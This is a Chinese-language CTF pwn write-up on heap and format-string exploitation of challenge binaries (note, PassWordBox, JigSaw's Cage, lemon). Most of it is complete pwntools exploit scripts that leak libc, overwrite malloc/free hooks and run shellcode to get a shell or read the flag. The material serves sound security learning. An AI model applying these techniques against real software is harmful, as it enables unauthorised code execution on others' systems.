note

house of orange + 格式化字符串

第一次见到scanf造成的格式化字符串漏洞,以往的例子看到的都是printf。不过核心的思想是相同的:

  • 可以指定参数
  • %n都有写入的功能
  • 对于%s,scanf是输入,printf是输出。所以在scanf中可以利用指定参数配合%s实现任意地址写,比%n更加自由,相对的在printf中往往利用指定参数配合%s实现任意地址读

另外在发现利用scanf配合%n修改字节的时候需要再次输入与要修改的字节数目相等的字符才算结束(猜测可能与scanf函数指定输入字节个数有关系)(嗯调发现的规律,运气真好)

exp1

格式化字符串改小top chunk
house of orange 泄露基址
格式化字符串往realloc_hook写one_gadget地址,往malloc_hook写realloc+12地址,调整栈桢打通。比赛时对scanf中的格式化字符串漏洞理解的不到位,还用的是函数生成的%n的方法进行改写,其实整复杂了,走远了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./note')
#r = remote('47.104.70.90',25315)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size, con):
r.sendlineafter('choice: ', str(1))
r.sendlineafter('size: ', str(size))
r.sendlineafter('content: ', con)

def say(addr):
r.sendlineafter('choice: ', str(2))
r.sendlineafter('say ? ', addr)


def show():
r.sendlineafter('choice: ', str(3))

for i in range(14):
add(0x100,"aaa")
add(0x40, "aaa")
r.recvuntil('0x')
addr = int(r.recv(12), 16)
print hex(addr)

fake_size = 0x00
fmt = fmtstr_payload(6,{addr + 74: fake_size},write_size='short')
print "fmtstr_payload ==> ",fmt
say(fmt)

add(0x100, 'aaa')

r.sendlineafter('choice: ', str(1))
r.sendlineafter('size: ', str(0x10))
r.sendafter('content: ', '\x78')

show()
r.recvuntil('content:')
libc.address = u64(r.recv(6).ljust(8, '\x00'))-344-0x10-libc.symbols['__malloc_hook']
print hex(libc.address)
sys_addr = libc.symbols['system']
malloc_hook = libc.symbols['__malloc_hook']
realloc_hook = libc.symbols['__realloc_hook']
realloc = libc.symbols['realloc']
rr = malloc_hook-0x8
one = 0x4527a
ogg = libc.address+one
tar = realloc_hook+2

tar = ogg
for i in range(6):
off = tar&0xff
fmt = fmtstr_payload(6,{rr+i: off},write_size='byte')
say(fmt)
r.sendlineafter('?', '3'*(off-1))
tar = tar>>8

tar = realloc+12
for i in range(6):
off = tar&0xff
fmt = fmtstr_payload(6,{malloc_hook+i: off},write_size='byte')
say(fmt)
r.sendlineafter('?', '3'*(off-1))
tar = tar>>8

sleep(0.2)
r.sendline('1')
sleep(0.2)
r.sendline('10')


r.interactive()

exp1改进版

直接利用scanf指定参数配合%s完成任意地址写即可(输入位于栈上,可控)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./note')
#r = remote('47.104.70.90',25315)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size, con):
r.sendlineafter('choice: ', str(1))
r.sendlineafter('size: ', str(size))
r.sendlineafter('content: ', con)

def say(addr, ct):
r.sendlineafter('choice: ', str(2))
r.sendlineafter('say ? ', addr)
r.sendlineafter('?', ct)


def show():
r.sendlineafter('choice: ', str(3))

for i in range(14):
add(0x100,"aaa")
add(0x40, "aaa")
r.recvuntil('0x')
addr = int(r.recv(12), 16)
print hex(addr)

top_chunk = addr + 0x40
fmt = "%7$s".ljust(8, '\x00')+p64(top_chunk+8)
say(fmt, p64(0xd1))

add(0x100, 'aaa')

r.sendlineafter('choice: ', str(1))
r.sendlineafter('size: ', str(0x10))
r.sendafter('content: ', '\x78')

show()
r.recvuntil('content:')
libc.address = u64(r.recv(6).ljust(8, '\x00'))-344-0x10-libc.symbols['__malloc_hook']
print hex(libc.address)
sys_addr = libc.symbols['system']
malloc_hook = libc.symbols['__malloc_hook']
realloc_hook = libc.symbols['__realloc_hook']
realloc = libc.symbols['realloc']
one = 0x4527a
ogg = libc.address+one

fmt = "%7$s".ljust(8, '\x00')+p64(realloc_hook)
say(fmt, p64(ogg))
fmt = "%7$s".ljust(8, '\x00')+p64(malloc_hook)
say(fmt, p64(realloc+12))
gdb.attach(r)

sleep(0.2)
r.sendline('1')
sleep(0.2)
r.sendline('10')

r.interactive()

exp2

泄露基址后利用栈溢出getshell

具体就是利用栈上的rbp指针进行读入布置rop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./note')
#r = remote('47.104.70.90',25315)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size, con):
r.sendlineafter('choice: ', str(1))
r.sendlineafter('size: ', str(size))
r.sendlineafter('content: ', con)

def say(addr, ct):
r.sendlineafter('choice: ', str(2))
r.sendlineafter('say ? ', addr)
r.sendlineafter('?', ct)


def show():
r.sendlineafter('choice: ', str(3))

for i in range(14):
add(0x100,"aaa")
add(0x40, "/bin/sh\x00")
r.recvuntil('0x')
addr = int(r.recv(12), 16)
print hex(addr)

top_chunk = addr + 0x40
fmt = "%7$s".ljust(8, '\x00')+p64(top_chunk+8)
say(fmt, p64(0xd1))

add(0x100, 'aaa')

r.sendlineafter('choice: ', str(1))
r.sendlineafter('size: ', str(0x10))
r.sendafter('content: ', '\x78')

show()
r.recvuntil('content:')
libc.address = u64(r.recv(6).ljust(8, '\x00'))-344-0x10-libc.symbols['__malloc_hook']
print hex(libc.address)
sys_addr = libc.symbols['system']
malloc_hook = libc.symbols['__malloc_hook']
realloc_hook = libc.symbols['__realloc_hook']
realloc = libc.symbols['realloc']
pr_rdi = libc.search(asm("pop rdi\nret")).next()
one = 0x4527a
ogg = libc.address+one

fmt = "%17$s".ljust(8, '\x00')
pay = 'A'*8
pay+= p64(pr_rdi)+p64(addr)+p64(sys_addr)
say(fmt, pay)

r.interactive()

exp3

看到一种更暴力的方法,直接忽视house of orange
格式化字符串利用stdout泄露基址
后续任意地址写怎么打都行了,除了上述两种方法还可以劫持exit_hook,改_dl_rtld_lock_recursive为one_gadget
具体exp就略了

PassWordBox_FreeVersion

off by null + 简单的异或加密

chunk a (unsorted bin)
chunk b (used)
chunk c (used)
溢出chunk c的pre_inuse位,free c,即可造成chunkvoerlap

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./pwdFree')
#r = remote('47.104.71.220', 38562)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(id, len, pwd):
r.sendlineafter('Input Your Choice:', str(1))
r.sendlineafter('Input The ID You Want Save:', id)
r.sendlineafter('Length Of Your Pwd:', str(len))
r.sendlineafter('Your Pwd:', pwd)

def edit(idx, con):
r.sendlineafter('Input Your Choice:', str(2))
sleep(0.1)
r.sendline(str(idx))
sleep(0.1)
r.send(con)

def show(idx):
r.sendlineafter('Input Your Choice:', str(3))
r.sendlineafter('Which PwdBox You Want Check:', str(idx))

def delete(idx):
r.sendlineafter('Input Your Choice:', str(4))
r.sendlineafter('Idx you want 2 Delete:', str(idx))

def decode(str, key):
tmp = ''
for i in range(len(str)):
tmp += chr((ord(str[i]) ^ ord(key[i%8])))

return tmp

add('AAAA', 0xf0, '\x00')
r.recvuntil('First Add Done.Thx 4 Use. Save ID:')
r.recv(32)
key = r.recv(8)

for i in range(0xe):
add('AAAA', 0xf0, decode('B'*0xf0, key))

for i in range(7):
delete(9-i)

delete(0)
delete(1)

for i in range(7):
add('AAAA', 0xf0, decode('A'*0xf0, key))

add('AAAA', 0xf0, decode('B'*0xf0, key)) #8
add('AAAA', 0xf0, decode('B'*0xf0, key)) #9

for i in range(7):
delete(i)
delete(8)

for i in range(7):
add('AAAA', 0xf0, decode('A'*0xf0, key))

delete(9)
add('AAAA', 0xf8, decode('A'*0xf0+p16(0x200)+'\x00'*0x6, key))

for i in range(4):
delete(i)
for i in range(3):
delete(i+5)

delete(4)
for i in range(7):
add('AAAA', 0xf0, decode('a'*0xf0, key))

add('AAAA', 0xf0, decode('a'*0xf0, key))#7
show(8)
r.recvuntil('Pwd is: ')
addr = u64( decode((r.recv(6)), key).ljust(8,'\x00') )
libc.address = addr-96-0x10-libc.symbols['__malloc_hook']
print 'libc_base ===> ', hex(libc.address)
free_hook = libc.symbols['__free_hook']
sys_addr = libc.symbols['system']

add('AAAA', 0xf0, decode('a'*0xf0, key))
add('AAAA', 0xf0, decode('a'*0xf0, key))

delete(12)
delete(11)
delete(8)
edit(9, p64(free_hook))

add('AAAA', 0xf0, decode('/bin/sh\x00', key))
add('AAAA', 0xf0, decode(p64(sys_addr), key))
delete(8)

r.interactive()

PassWordBox_ProVersion

这题没有做出来,属于学识有限了。复现学习到了三种不同的姿势。

有UAF,限制chunk size在large bin范围

思路一

mp_.tcache_bins处记录了tcache bins的个数
_int_free中将一个chunk放入tcache的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif

在第四行可以看到,free chunk的时候会计算对应的size,如果小于mp._tcache.bins,就会进入后续的流程将chunk放进tcache中。所以决定chunk能否被放入tcache中的是mp._tcache.bins

第一种做法就是利用largebin attack将mp._tcache.bins改成一个很大的值,从而将large chunk放进tcache中,再利用tcache的打法改free_hook即可

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./pwdPro')
#r = remote('47.104.71.220', 38562)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(idx, id, len, pwd):
r.sendlineafter('Input Your Choice:', str(1))
r.sendlineafter('Which PwdBox You Want Add:', str(idx))
r.sendlineafter('Input The ID You Want Save:', id)
r.sendlineafter('Length Of Your Pwd:', str(len))
r.sendlineafter('Your Pwd:', pwd)

def edit(idx, con):
r.sendlineafter('Input Your Choice:', str(2))
r.sendlineafter('Which PwdBox You Want Edit:', str(idx))
sleep(0.1)
r.send(con)

def show(idx):
r.sendlineafter('Input Your Choice:', str(3))
r.sendlineafter('Which PwdBox You Want Check:', str(idx))

def delete(idx):
r.sendlineafter('Input Your Choice:', str(4))
r.sendlineafter('Idx you want 2 Delete:', str(idx))

def recover(idx):
r.sendlineafter('Input Your Choice:', str(5))
r.sendlineafter('Idx you want 2 Recover:', str(idx))


def decode(str, key):
tmp = ''
for i in range(len(str)):
tmp += chr(str[i] ^ key[i%8])

return tmp

add(0, b'AAAA', 0x420, b'\x00')
r.recvuntil('First Add Done.Thx 4 Use. Save ID:')
r.recv(32)
key = r.recv(8)

add(0, b'1'*0x8, 0x448, decode(b'A'*0x41f, key))
add(1, b'2'*0x8, 0x520, decode(b'B'*0x41f, key))
add(2, b'3'*0x8, 0x438, decode(b'A'*0x41f, key))
add(3, b'4'*0x8, 0x520, decode(b'B'*0x41f, key))
add(7, b'8'*0x8, 0x6e0, decode(b'B'*0x41f, key))
add(8, b'8'*0x8, 0x6e0, decode(b'B'*0x41f, key))
add(9, b'8'*0x8, 0x6e0, decode(b'B'*0x41f, key))
add(10, b'8'*0x8, 0x6e0, decode(b'/bin/sh\x00', key))

delete(0)
recover(0)
show(0)
r.recvuntil('Pwd is: ')
libc.address = u64( decode(r.recv(6), key).ljust(8, '\x00') )-96-0x10-libc.symbols['__malloc_hook']
print ("libc_base ===> ", hex(libc.address))
sys_addr = libc.symbols['system']
free_hook = libc.symbols['__free_hook']
malloc_hook = libc.symbols['__malloc_hook']
tcachebin = libc.address+0x1eb280+0x50-0x20


add(5, b'6'*0x8, 0x520, decode(b'B'*0x41f, key))
delete(2)
recover(0)
edit(0, b'A'*0x10)
show(0)
r.recvuntil('Pwd is: ')
r.recv(0x10)
heap_addr = u64( decode(r.recv(6), key).ljust(8, '\x00') )
print (hex(heap_addr))
edit(0, p64(libc.address+0x1ebfd0)*2+p64(heap_addr)+p64(tcachebin)+b'\x00'*0x20)
add(6, b'7'*0x8, 0x520, decode(b'Z'*0x500+p64(0), key))

delete(9)
delete(8)
delete(7)
recover(7)

edit(7, p64(free_hook))
add(9, b'8'*0x8, 0x6e0, decode(b'B'*0x41f, key))
add(9, b'8'*0x8, 0x6e0, decode(p64(sys_addr), key))
delete(10)

r.interactive()

思路二

感谢mark同学的分享,原文链接在这里

未曾设想过的道路,反正我觉得挺炫的

通过修复largebin链表来实现多次large bin attack
构造两个chunk,其地址最后一个字节分别0x00和0x10,通过多次写入构造出一个fake unsorted bin,构造内容包括sizefdbknextchunk.prevsizenextchunk.size
其中sizenextchunk.prevsizenextchunk.size全部设置为0x1000fdbk分别利用两个chunk进行largebin attack写入自己的堆地址

然后利用UAF修改两个real unsorted bin的fd和bk,将该fake chunk链入unsorted bin中,再申请出来从而覆写__free_hook

细节

  • 修复largebin链表:当largebin中含有两个大小不等的chunk的时候,结构大致如下
    (fd_nextsize指向比自己小的最大chunk;bk_nextsize指向比自己大的最小chunk)
    1
    2
    3
    4
    5
    6
    7
    0x0000000000000000	0x0000000000000461
    smaller chunk 0x00007ffff7faefe0
    smaller chunk smaller chunk

    0x0000000000000000 0x0000000000000451
    0x00007ffff7faefe0 larger chunk
    larger chunk larger chunk

效果

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from pwn import *

e = ELF("./pwdPro")
libc = ELF('./libc.so')
context.binary = e
context.log_level = 'debug'


def add(idx, id, length, password):
p.sendlineafter('Choice:', '1')
p.sendlineafter('Want Add:', str(idx))
p.sendafter('Want Save:', id)
p.sendlineafter('Pwd:', str(length))
p.sendafter('Pwd:', password)


def edit(idx, new_pass):
p.sendlineafter('Choice:', '2')
p.sendlineafter('Want Edit:', str(idx))
p.send(new_pass)


def show(idx):
p.sendlineafter('Choice:', '3')
p.sendlineafter(' Check:', str(idx))


def delete(idx):
p.sendafter('Choice:', '4')
p.sendlineafter(' 2 Delete:', str(idx))


def recover(idx):
p.sendlineafter('Choice:', '5')
p.sendlineafter('Recover:', str(idx))


def decode(content, key):
tmp = ''
for i in range(len(content)):
tmp += chr(content[i] ^ key[i%8])

return tmp


p = process(['./pwdPro'])
# --------- leak libc ------------
add(20, 'l', 0x460, 'l\n') # - 0
p.recvuntil('First Add Done.Thx 4 Use. Save ID:')
p.recv(32)
key = p.recv(8)
add(0, 'l', 0x430, 'l\n') # 00 - 1
add(20, 'l', 0x420 + 0xa0, 'l\n')
add(1, 'l', 0x440, 'l\n') # 00 - 2
add(20, 'l', 0x4b0, 'l\n')
add(2, 'l', 0x450, 'l\n')
add(20, 'l', 0x420, 'l\n')
add(20, 'l', 0x600, 'l\n')
delete(1)
recover(1)
show(1)
p.recvuntil('Pwd is: ')
libc.address = u64(decode(p.recv(8) , key))-96-0x10-libc.symbols['__malloc_hook']
print ('libc_base ===> ', hex(libc.address))
free_hook = libc.symbols['__free_hook']
add(20, 'A', 0x500, 'A\n')
edit(1, 'A'*0x10)
show(1)
p.recvuntil('Pwd is: ')
p.recv(0x10)
heap_addr = u64(decode(p.recv(6), key).ljust(8, '\x00'))
print (hex(heap_addr))
edit(1, p64(libc.address+0x1ebfe0)*2)
add(20, 'A', 0x440, 'A\n') #recover



#---- creat fake unsorted bin----

def write_byte(addr, byte=0):
if byte == 0x10:
idx = 1
elif byte == 0:
idx = 0
delete(2)
add(20, 'A', 0x500, 'A\n')
delete(idx)
recover(idx)
recover(2)
edit(2, p64(libc.address+0x1ebfe0)*2+p64(0)+p64(addr-0x20))
add(20, 'A', 0x500, 'A\n')
if byte == 0x10:
edit(2, p64(heap_addr)+p64(libc.address+0x1ebfe0)+p64(heap_addr)*2)
edit(1, p64(libc.address+0x1ebfe0)+p64(heap_addr+0x910)*3)
add(20, 'A', 0x440, 'A\n')
elif byte == 0:
edit(2, p64(heap_addr-0x910)+p64(libc.address+0x1ebfe0)+p64(heap_addr-0x910)*2)
edit(0, p64(libc.address+0x1ebfe0)+p64(heap_addr+0x910)*3)
add(20, 'A', 0x430, 'A\n')
add(20, 'A', 0x450, 'A\n')

def write_1k(addr):
write_byte(addr, 0x00)
write_byte(addr + 1,0x10)
for i in range(6):
write_byte(addr+2+i,0)

write_1k(free_hook-0x40)
write_1k(free_hook-0x40-8+0x1000)
write_1k(free_hook-0x40-8+0x1008)
write_byte(free_hook-0x40+8, 0)
write_byte(free_hook-0x40+0x10, 0x10)


#---- get the fake chunk and overwrite __free_hook ----
delete(0)
delete(1)
recover(0)
recover(1)
edit(1, p64(free_hook-0x48))
edit(0, p64(libc.address+0x1ebbe0)+p64(free_hook-0x48))
add(1,'a',0x440,'a'+'\n')
add(2,'a',0x430,decode(b"/bin/sh\x00", key)+'\n')
sys_addr = libc.symbols['system']
add(3,'a',0x500,decode(b"\x00"*0x38+p64(sys_addr), key)+'\n')

delete(2)

p.interactive()

思路三

官方wp的思路
house of banana
改日一起研究……

JigSaw’sCage

int类型的数据使用%ld输入,溢出覆盖随机值,让高32位大于0低32位等于0,0x100000000~0x7fffffff00000000,即可让heap开出一页rwx区域。限制每个chunk大小0x10,分别写三段配合jmp就好

exp1

比赛的时候不是很会getshell的shellcode,就直接写orw了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./JigSAW')
#r = remote('47.104.71.220',10273)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(idx):
r.recvuntil('Choice :')
r.sendline(str(1))
r.recvuntil('Index? :')
r.sendline(str(idx))

def edit(idx, con):
r.recvuntil('Choice :')
r.sendline(str(2))
r.recvuntil('Index? :')
r.sendline(str(idx))
r.recvuntil('iNput:')
r.send(con)

def delete(idx):
r.recvuntil('Choice :')
r.sendline(str(3))
r.recvuntil('Index? :')
r.sendline(str(idx))

def test(idx):
r.recvuntil('Choice :')
r.sendline(str(4))
r.recvuntil('Index? :')
r.sendline(str(idx))

def shwo(idx):
r.recvuntil('Choice :')
r.sendline(str(5))
r.recvuntil('Index? :')
r.sendline(str(idx))


r.recvuntil('Name')
r.sendline('ayoung')
r.recvuntil('Make your Choice:')
r.sendline(str(0xe00000000))
gdb.attach(r)
add(0)
add(1)
add(2)
add(3)
shellcode1 = '''
push 0x67616c66
push rsp
pop rdi
push 0
pop rdx
push 2
pop rax
jmp $+0x13
'''

print (len(asm(shellcode1)))
edit(0, asm(shellcode1))

shell2 = '''
syscall
push 0
pop rax
push 3
pop rdi
push rbp
pop rsi
push 0x50
pop rdx
jmp $+0x13
'''
print (len(asm(shell2)))
edit(1, asm(shell2))

shell3 = '''
syscall
push 1
push 1
pop rax
pop rdi
push rbp
pop rsi
push 0x50
pop rdx
syscall
'''
print (len(asm(shell3)))
edit(2, asm(shell3))
#gdb.attach(r)
test(0)

r.interactive()

exp2

getshell

一个chunk存放/bin/sh
另一个chunk构造shellcode完成getshell,短小精悍,只需要14个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./JigSAW')
#r = remote('47.104.71.220',10273)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(idx):
r.recvuntil('Choice :')
r.sendline(str(1))
r.recvuntil('Index? :')
r.sendline(str(idx))

def edit(idx, con):
r.recvuntil('Choice :')
r.sendline(str(2))
r.recvuntil('Index? :')
r.sendline(str(idx))
r.recvuntil('iNput:')
r.send(con)

def delete(idx):
r.recvuntil('Choice :')
r.sendline(str(3))
r.recvuntil('Index? :')
r.sendline(str(idx))

def test(idx):
r.recvuntil('Choice :')
r.sendline(str(4))
r.recvuntil('Index? :')
r.sendline(str(idx))

def shwo(idx):
r.recvuntil('Choice :')
r.sendline(str(5))
r.recvuntil('Index? :')
r.sendline(str(idx))


r.recvuntil('Name')
r.sendline('ayoung')
r.recvuntil('Make your Choice:')
r.sendline(str(0xe00000000))
add(0)
add(1)
edit(1, '/bin/sh\x00')
add(2)
shell = '''
add dl,0x20
push rsi
pop rdi
xchg rdi,rdx
push rsi
pop rax
add al,59
syscall
'''

edit(0, asm(shell))
test(0)
r.interactive()

lemon

赛后复现学习

题目

开了沙箱

绕过伪随机数

首先绕过一个伪随机数,直接照着IDA写个程序爆破(后发现很多值多可以满足条件,只是循环需要的时间略有不同)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
int main(){
long long buf=0x0000000a00000000;
int HI;
int v1;
while(1){
HI = buf>>32;
v1 = HI ^ buf | (3 * buf - HI) & (buf / HI);
for(int i = 0; i < buf - HI; ++i){
v1 ^= rand();
if(v1 == 330750776){
printf("%lld\n", buf);
return 0;
}
}
buf++;
}
return 0;
}

测出来后直接send(p64(0xa00000000))就好
然后程序会把flag读到栈上
同时在bss段上存放了一个栈地址

经典菜单

  • get 申请堆块。如果content的size大于0x400会把之前申请的chunk释放了,但其指针仍记录在bss上
  • eat 1/2几率获得chunk地址低两个字节
  • throw 释放堆块
  • color 只能用一次,用在堆上发生堆溢出,index数据类型为int,可以输入负数

思路一

官方思路,简洁巧妙

首先在绕过随机数后可以输入0x15字节,这里的输入需要构造一下

然后构造即将崩溃的堆结构:

  • 申请size大于0x400,再free掉对应指针,造成double free(glibc版本2.26)
  • 再拿两个chunk出来,并写入一个字节修改fd
  • 申请大chunk,在里面布置size位0x31,对应fd
  • 再申请,拿到fake chunk,此时整个堆结构已经处在了崩溃的边缘

接下来color功能中index输入-0x104,指向bss段上的栈地址,同时这里需要配合前面说的0x15(20)个字节的输入,绕过color中的检查并控制buf[4]为想要输入的字节数

1
2
if ( !buf || !buf[5] )
exit_0();

1
read(0, buf, buf[4]);

利用这里的输入可以覆盖栈上的环境变量argv[0],partial overwrite修改其指向栈上的flag(存在1/16爆破)

然后执行throw(0)
这里会执行到free我们伪造的fake chunk,glibc判断tcache已满(-1)会进到fastbin的判断里,接着会去找这个chunk的next chunk检查一下size位是否小于2*SIZE_SZ(SIZE_SZ64位下为8)
于是发现查到的size为0,发生报错触发malloc_printerr,最终打印出flag

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*
context(os='linux', arch='amd64')#, log_level='debug')


def get(idx, name, sz, con=None):
r.sendlineafter('your choice >>> ', str(1))
r.sendlineafter('Input the index of your lemon:', str(idx))
r.sendafter('Now, name your lemon:', name)
r.sendlineafter('Input the length of message for you lemon:', str(sz))
if (con != None):
r.sendafter('Leave your message:', con)

def eat(idx):
r.sendlineafter('your choice >>> ', str(2))
r.sendlineafter('Input the index of your lemon :', str(idx))


def throw(idx):
r.sendlineafter('your choice >>> ', str(3))
r.sendlineafter('Input the index of your lemon :', str(idx))

def color(idx, n):
r.sendlineafter('your choice >>> ', str(4))
r.sendlineafter('Input the index of your lemon :', str(idx))
r.sendafter("Now it's your time to draw and color!", n)

def Firstplace():
r.sendlineafter('me?', 'yes')
r.sendafter('lucky number', p64(0xa00000000))
r.sendafter('first:', '\xff'*0x10+'\x00\x02\x00\x00\x01')
r.recvuntil('0x')
return r.recv(3)

def attack():
flag_addr = int(Firstplace(), 16)-0x40
get(0, 'h', 0x410)
throw(0)
get(0, '\xa0', 0x300, p64(0)+p64(0x31))
get(1, 'h', 0x20, 'a')
color(-0x104, 'a'*0x138+p16((0xd << 12) | flag_addr))
throw(0)

if __name__ == '__main__':
while True:
r = process('./lemon_pwn')
attack()
try:
r.recvuntil("*** Error in `flag")
except:
r.close()
continue
else:
s = r.recvuntil('}')
print 'flag'+s
r.close()
break

思路二

控制tcache结构体+IO_FILE的利用

申请到堆上大小为0x250的tcache结构体
修改0x250大小的bin数量为7
释放掉结构体,被放进unsorted bin

然后申请0x50大小的chunk,控制偏移,对应0x70大小tcache的数量改成3,同时切割后unsorted bin的bk落在0x70大小tcache链表头部

再申请一次,从该处切割并利用partial overwrite覆盖原unsorted bin的bk指向stderr+173,即0x70tcache指向stderr+173,也就是stdout的上方。这里指向这个地址是因为程序自己写了一个对申请chunk的size位检查,需要有相应的size才能拿到chunk,而此处有作为fake chunk的size0x7f

接下来再申请一次0x70的chunk就能向stdout写入,从而泄露libc基址

然后把刚才切割出来的chunk释放掉,再次申请按照同样的方法控制stdout,修改_IO_write_base指向environ_IO_write_ptr指向environ+0x10从而泄露栈地址

最后利用上述同样的方法用stdout泄露flag
整个过程在stdout处需要1/16爆破,在eat中存在1/2概率通过,总的成功概率为1/32

详细exp这里就不贴了,可以看mark佬的文章

思路三

核心的想法和思路二差不多,前期都是控制tcache结构体。在泄露基址之后从free_hook上方很远处找到一个指针算下偏移作为size位,然后不断的控制0x70tcache头指针、申请chunk和布置size,最终拿到free_hook,并配合setcontext进行rop